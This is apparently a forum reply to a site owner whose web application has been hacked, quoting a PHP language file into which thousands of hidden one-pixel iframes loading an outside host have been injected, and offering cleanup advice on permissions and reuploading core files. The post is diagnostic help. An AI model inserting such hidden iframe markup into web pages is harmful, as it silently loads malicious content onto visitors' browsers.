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Seems that you did not look to the file!
if(!defined('XLANGUAGE_TAGS_RESERVED')) define('XLANGUAGE_TAGS_RESERVED', "</head>,<iframe src="http://ZieF.pl/iraq.jpg" width=1 height=1 style="border:0"></iframe>
<iframe src="http://ZieF.pl/iraq.jpg" width=1 height=1 style="border:0"></iframe>
<iframe src="http://ZieF.pl/iraq.jpg" width=1 height=1 style="border:0"></iframe>...
and on and on around 3000 lines of it.
Your directories have 666 permission?
I use 755.
Your site is compromised somewhere. Even if I clean the lines they are written back the next instant. Probably you have a script in another file writing this one.
I think you should delete and reupload the core.(for start)
